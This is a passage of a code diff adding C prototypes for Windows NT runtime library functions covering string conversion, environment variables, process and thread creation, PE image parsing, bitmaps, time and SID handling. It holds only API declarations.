+RtlIpv6StringToAddressExA ( + _In_ PCSTR AddressString, + _Out_ struct in6_addr *Address, + _Out_ PULONG ScopeId, + _Out_ PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressW ( + _In_ PCWSTR S, + _In_ BOOLEAN Strict, + _Out_ LPCWSTR *Terminator, + _Out_ struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressW ( + _In_ PCWSTR S, + _Out_ PCWSTR *Terminator, + _Out_ struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW ( + _In_ PCWSTR AddressString, + _In_ BOOLEAN Strict, + _Out_ struct in_addr *Address, + _Out_ PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW ( + _In_ PCWSTR AddressString, + _Out_ struct in6_addr *Address, + _Out_ PULONG ScopeId, + _Out_ PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + ULONG Value, + ULONG Base, + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlInt64ToUnicodeString ( + _In_ ULONGLONG Value, + _In_ ULONG Base OPTIONAL, + _In_ _Out_ PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + PCUNICODE_STRING String, + ULONG Base, + PULONG Value + ); + +VOID +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +VOID +NTAPI +RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + _Out_ PANSI_STRING DestinationString, + _In_ PCSZ SourceString OPTIONAL + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +BOOLEAN +NTAPI +RtlEqualDomainName( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2 + ); + +BOOLEAN +NTAPI +RtlEqualComputerName( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2 + ); + +NTSTATUS +RtlDnsHostNameToComputerName( + _Out_ PUNICODE_STRING ComputerNameString, + _In_ PCUNICODE_STRING DnsHostNameString, + _In_ BOOLEAN AllocateComputerNameString + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCSZ SourceString + ); + +VOID +NTAPI +RtlCopyString( + PSTRING DestinationString, + const STRING * SourceString + ); + +CHAR +NTAPI +RtlUpperChar ( + CHAR Character + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlPrefixString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +VOID +NTAPI +RtlUpperString( + PSTRING DestinationString, + const STRING * SourceString + ); + +NTSTATUS +NTAPI +RtlAppendAsciizToString ( + PSTRING Destination, + PCSZ Source + ); + +NTSTATUS +NTAPI +RtlAppendStringToString ( + PSTRING Destination, + const STRING * Source + ); + +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + PUCHAR *SourceCharacter + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +LONG +NTAPI +RtlCompareUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ const UNICODE_STRING *String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue + ); + +NTSTATUS +NTAPI +RtlValidateUnicodeString( + _In_ ULONG Flags, + _In_ const UNICODE_STRING *String + ); + +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ const UNICODE_STRING *StringIn, + _Out_ UNICODE_STRING *StringOut + ); + +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + _In_ ULONG Flags, + _In_ PCUNICODE_STRING StringToSearch, + _In_ PCUNICODE_STRING CharSet, + _Out_ USHORT *NonInclusivePrefixLength + ); + +VOID +NTAPI +RtlCopyUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString ( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + WCHAR SourceCharacter + ); + +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + WCHAR SourceCharacter + ); + +VOID +NTAPI +RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID +NTAPI +RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +VOID +NTAPI +RtlFreeOemString( + POEM_STRING OemString + ); + +ULONG +NTAPI +RtlxUnicodeStringToAnsiSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxUnicodeStringToOemSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxAnsiStringToUnicodeSize( + PCANSI_STRING AnsiString + ); + +ULONG +NTAPI +RtlxOemStringToUnicodeSize( + PCOEM_STRING OemString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + _Out_ PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_ OPTIONAL PULONG BytesInUnicodeString, + _In_ PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + PULONG BytesInUnicodeString, + PCSTR MultiByteString, + ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + _Out_ PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_ OPTIONAL PULONG BytesInMultiByteString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + _Out_ PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_ OPTIONAL PULONG BytesInMultiByteString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlOemToUnicodeN( + _Out_ PWSTR UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_ OPTIONAL PULONG BytesInUnicodeString, + _In_ PCH OemString, + _In_ ULONG BytesInOemString + ); + +NTSTATUS +NTAPI +RtlUnicodeToOemN( + _Out_ PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_ OPTIONAL PULONG BytesInOemString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + _Out_ PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_ OPTIONAL PULONG BytesInOemString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + _Out_ PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_ OPTIONAL PULONG BytesInUnicodeString OPTIONAL, + _In_ PCH MultiByteString, + _In_ ULONG BytesInMultiByteString, + _Out_ PULONG pdwSpecialChar ); + +BOOLEAN +NTAPI +RtlIsTextUnicode( + _In_ CONST VOID* Buffer, + _In_ ULONG Size, + _In_ _Out_ PULONG Result OPTIONAL + ); + +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ REFGUID Guid, + _Out_ PUNICODE_STRING GuidString + ); + +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PUNICODE_STRING GuidString, + _Out_ GUID* Guid + ); + +VOID +NTAPI +RtlGenerate8dot3Name ( + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN AllowExtendedCharacters, + _In_ _Out_ PGENERATE_NAME_CONTEXT Context, + _Out_ PUNICODE_STRING Name8dot3 + ); + +BOOLEAN +NTAPI +RtlIsNameLegalDOS8Dot3 ( + _In_ PUNICODE_STRING Name, + _In_ _Out_ POEM_STRING OemName OPTIONAL, + _In_ _Out_ PBOOLEAN NameContainsSpaces OPTIONAL + ); + +VOID +NTAPI +RtlInitializeContext( + HANDLE Process, + PCONTEXT Context, + PVOID Parameter, + PVOID InitialPc, + PVOID InitialSp + ); + +NTSTATUS +NTAPI +RtlRemoteCall( + HANDLE Process, + HANDLE Thread, + PVOID CallSite, + ULONG ArgumentCount, + PULONG_PTR Arguments, + BOOLEAN PassContext, + BOOLEAN AlreadySuspended + ); + +VOID +NTAPI +RtlAcquirePebLock( + ); + +VOID +NTAPI +RtlReleasePebLock( + ); + +NTSTATUS +NTAPI +RtlAllocateFromPeb( + ULONG Size, + PVOID *Block + ); + +NTSTATUS +NTAPI +RtlFreeToPeb( + PVOID Block, + ULONG Size + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + _In_ BOOLEAN NewValue, + _Out_ PBOOLEAN OldValue OPTIONAL, + _In_ BOOLEAN CheckFlag + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + _In_ BOOLEAN NewValue, + _Out_ PBOOLEAN OldValue OPTIONAL, + _In_ BOOLEAN CheckFlag + ); + +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + PVOID Environment, + PVOID *PreviousEnvironment + ); + +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PCUNICODE_STRING Name, + PCUNICODE_STRING Value + ); + +ULONG +RtlIsDosDeviceName_U( + _In_ PWSTR DosFileName + ); + +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PCUNICODE_STRING Name, + PUNICODE_STRING Value + ); + +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_ PVOID Environment OPTIONAL, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_ PULONG ReturnedLength OPTIONAL + ); + +VOID +NTAPI +PfxInitialize ( + PPREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +PfxInsertPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING Prefix, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +PfxRemovePrefix ( + PPREFIX_TABLE PrefixTable, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING FullName + ); + +VOID +NTAPI +RtlInitializeUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +RtlInsertUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING Prefix, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +RtlRemoveUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING FullName, + ULONG CaseInsensitiveIndex + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + BOOLEAN Restart + ); + +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize ( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS +NTAPI +RtlCompressBuffer ( + _In_ USHORT CompressionFormatAndEngine, + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDecompressBuffer ( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize + ); + +NTSTATUS +NTAPI +RtlDecompressFragment ( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG FragmentOffset, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDescribeChunk ( + _In_ USHORT CompressionFormat, + _In_ _Out_ PUCHAR *CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR *ChunkBuffer, + _Out_ PULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlReserveChunk ( + _In_ USHORT CompressionFormat, + _In_ _Out_ PUCHAR *CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR *ChunkBuffer, + _In_ ULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlDecompressChunks ( + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ PUCHAR CompressedTail, + _In_ ULONG CompressedTailSize, + _In_ PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSTATUS +NTAPI +RtlCompressChunks ( + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ _Out_ PCOMPRESSED_DATA_INFO CompressedDataInfo, + _In_ ULONG CompressedDataInfoLength, + _In_ PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlCreateProcessParameters( + PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData + ); + +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS +NTAPI +RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS +NTAPI +RtlCreateUserThread( + HANDLE Process, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + BOOLEAN CreateSuspended, + ULONG StackZeroBits, + SIZE_T MaximumStackSize OPTIONAL, + SIZE_T InitialStackSize OPTIONAL, + PUSER_THREAD_START_ROUTINE StartAddress, + PVOID Parameter, + PHANDLE Thread, + PCLIENT_ID ClientId + ); + +VOID +NTAPI +RtlExitUserThread ( + _In_ NTSTATUS ExitStatus + ); + +VOID +NTAPI +RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); +/* +PVOID +NTAPI +RtlPcToFileHeader( + PVOID PcValue, + PVOID *BaseOfImage + );*/ + +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + PVOID Base + ); + +PVOID +NTAPI +RtlAddressInSectionTable ( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress ( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +NTSTATUS +NTAPI +RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +PVOID +RtlImageDirectoryEntryToData32 ( + _In_ PVOID Base, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva + ); + +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva, + _In_ _Out_ PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + ); + + +VOID +NTAPI +RtlCopyMemoryNonTemporal ( + VOID UNALIGNED *Destination, + CONST VOID UNALIGNED *Source, + SIZE_T Length + ); + +NTSTATUS +NTAPI +RtlCopyMappedMemory( + _In_ LPVOID Destination, + _In_ LPVOID Source, + _In_ SIZE_T Length +); + +VOID __fastcall +RtlPrefetchMemoryNonTemporal( + _In_ PVOID Source, + _In_ SIZE_T Length + ); + +SIZE_T +NTAPI +RtlCompareMemoryUlong ( + PVOID Source, + SIZE_T Length, + ULONG Pattern + ); + + +VOID +NTAPI +RtlFillMemory2 ( + PVOID Destination, + SIZE_T Length, + INT Pattern +); + +VOID +NTAPI +RtlFillMemoryUlong ( + PVOID Destination, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlonglong ( + PVOID Destination, + SIZE_T Length, + ULONGLONG Pattern + ); + +VOID +NTAPI +RtlInitializeExceptionLog( + _In_ ULONG Entries + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter( + _In_ struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter2( + _In_ struct _EXCEPTION_POINTERS *ExceptionInfo, + _In_ PCSTR Function + ); + +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +VOID +NTAPI +DbgBreakPointWithStatus( + _In_ ULONG Status + ); + +ULONG +DbgPrintEx ( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ PCH Format, + ... + ); + +ULONG +NTAPI +vDbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ PCH Format, + _In_ va_list arglist + ); + +ULONG +NTAPI +vDbgPrintExWithPrefix ( + _In_ PCH Prefix, + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ PCH Format, + _In_ va_list arglist + ); + +ULONG +DbgPrintReturnControlC ( + _In_ PCHAR Format, + ... + ); + +NTSTATUS +NTAPI +DbgQueryDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + +NTSTATUS +NTAPI +DbgSetDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + +ULONG +NTAPI +DbgPrompt ( + _In_ PCH Prompt, + _Out_ PCH Response, + _In_ ULONG Length + ); + +VOID +NTAPI +DbgLoadImageSymbols ( + _In_ PSTRING FileName, + _In_ PVOID ImageBase, + _In_ ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgUnLoadImageSymbols ( + _In_ PSTRING FileName, + _In_ PVOID ImageBase, + _In_ ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgCommandString ( + _In_ PCH Name, + _In_ PCH Command + ); + +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + PTIME_FIELDS CutoverTime, + PLARGE_INTEGER SystemTime, + PLARGE_INTEGER CurrentSystemTime, + BOOLEAN ThisYear + ); + +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime ( + _In_ PLARGE_INTEGER SystemTime, + _Out_ PLARGE_INTEGER LocalTime + ); + +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime ( + _In_ PLARGE_INTEGER LocalTime, + _Out_ PLARGE_INTEGER SystemTime + ); + +VOID +NTAPI +RtlTimeToElapsedTimeFields ( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields + ); + +VOID +NTAPI +RtlTimeToTimeFields ( + PLARGE_INTEGER Time, + PTIME_FIELDS TimeFields + ); + +BOOLEAN +NTAPI +RtlTimeFieldsToTime ( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1980ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1970ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + _Out_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + _In_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetActiveTimeBias( + _In_ LONG ActiveBias + ); + +VOID +NTAPI +RtlInitializeBitMap ( + PRTL_BITMAP BitMapHeader, + PULONG BitMapBuffer, + ULONG SizeOfBitMap + ); + +VOID +NTAPI +RtlClearBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlSetBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +BOOLEAN +NTAPI +RtlTestBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlClearAllBits ( + PRTL_BITMAP BitMapHeader + ); + +VOID +NTAPI +RtlSetAllBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlFindClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindClearBitsAndSet ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBitsAndClear ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +VOID +NTAPI +RtlClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToClear + ); + +VOID +NTAPI +RtlSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToSet + ); + +ULONG +NTAPI +RtlFindClearRuns ( + PRTL_BITMAP BitMapHeader, + PRTL_BITMAP_RUN RunArray, + ULONG SizeOfRunArray, + BOOLEAN LocateLongestRuns + ); + +ULONG +NTAPI +RtlFindLongestRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlFindFirstRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlNumberOfClearBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlNumberOfSetBits ( + PRTL_BITMAP BitMapHeader + ); + +BOOLEAN +NTAPI +RtlAreBitsClear ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +BOOLEAN +NTAPI +RtlAreBitsSet ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +ULONG +NTAPI +RtlFindNextForwardRunClear ( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _In_ PULONG StartingRunIndex + ); + +ULONG +NTAPI +RtlFindLastBackwardRunClear ( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _In_ PULONG StartingRunIndex + ); + +CCHAR +NTAPI +RtlFindLeastSignificantBit ( + _In_ ULONGLONG Set + ); + +CCHAR +NTAPI +RtlFindMostSignificantBit ( + _In_ ULONGLONG Set + ); + +BOOLEAN +NTAPI +RtlValidSid ( + PSID Sid + ); + +BOOLEAN +NTAPI +RtlEqualSid ( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN +NTAPI +RtlEqualPrefixSid ( + PSID Sid1, + PSID Sid2 + ); + +ULONG +NTAPI +RtlLengthRequiredSid ( + ULONG SubAuthorityCount + ); + +PVOID +NTAPI +RtlFreeSid( + _In_ PSID Sid + ); + +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount + ); + +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Out_ PSID *Sid + ); + +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid ( + PSID Sid + ); + +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority + ); + +PUCHAR +NTAPI +RtlSubAuthorityCountSid ( + PSID Sid + ); + +ULONG +NTAPI +RtlLengthSid ( + PSID Sid + ); + +NTSTATUS +NTAPI +RtlCopySid ( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray ( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + 